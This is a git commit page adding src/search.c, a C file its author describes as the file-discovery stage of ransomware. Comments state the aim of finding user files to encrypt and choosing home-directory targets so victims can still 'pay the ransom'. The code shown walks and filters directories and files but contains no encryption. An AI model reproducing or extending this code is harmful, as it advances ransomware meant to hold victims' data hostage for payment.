summaryrefslogtreecommitdiff
path: root/src/search.c
diff options
context:
space:
mode:
Diffstat (limited to 'src/search.c')
-rw-r--r--src/search.c72
1 files changed, 72 insertions, 0 deletions
diff --git a/src/search.c b/src/search.c
new file mode 100644
index 0000000..22e5486
--- /dev/null
+++ b/src/search.c
@@ -0,0 +1,72 @@
1/***
2 * SEARCH
3 *
4 * Find valid files to encrypt
5*/
6
7/*
8Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their
9shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now)
10*/
11
12#define _GNU_SOURCE
13
14#include "search.h"
15
16#include <sys/types.h>
17#include <sys/stat.h>
18#include <dirent.h>
19#include <string.h>
20#include <unistd.h>
21#include <error.h>
22#include <errno.h>
23#include <stdio.h>
24
25int folderonly(const struct dirent64 *tester) {
26 // Filter out the current and previous dir macros
27 if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0)
28 return 0;
29
30 // Check if the "file" is specifically a dir
31 struct stat64 sb;
32 if(stat64(tester->d_name, &sb) < 0) {
33 error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name);
34 return 0; // Don't try to traverse into a dir that we don't know is a dir or not
35 }
36
37 // Filter out non dirs
38 if((sb.st_mode & S_IFMT) != S_IFDIR)
39 return 0;
40
41 return 1;
42}
43
44int fileonly(const struct dirent64 *tester) {
45 // Check if the "file" is specifically a dir
46 struct stat64 sb;
47 if(stat64(tester->d_name, &sb) < 0) {
48 error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name);
49 return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten
50 }
51
52 // Filter out dirs
53 if((sb.st_mode & S_IFMT) != S_IFREG)
54 return 0;
55
56 return 1;
57}
58
59int main (void) {
60 struct dirent64 **eps;
61 int n;
62
63 n = scandir64("./", &eps, folderonly, alphasort64);
64 if(n >= 0) {
65 for(int cnt = 0; cnt < n; cnt++)
66 puts(eps[cnt]->d_name);
67 } else {
68 perror("Couldn't open dir");
69 }
70
71 return 0;
72}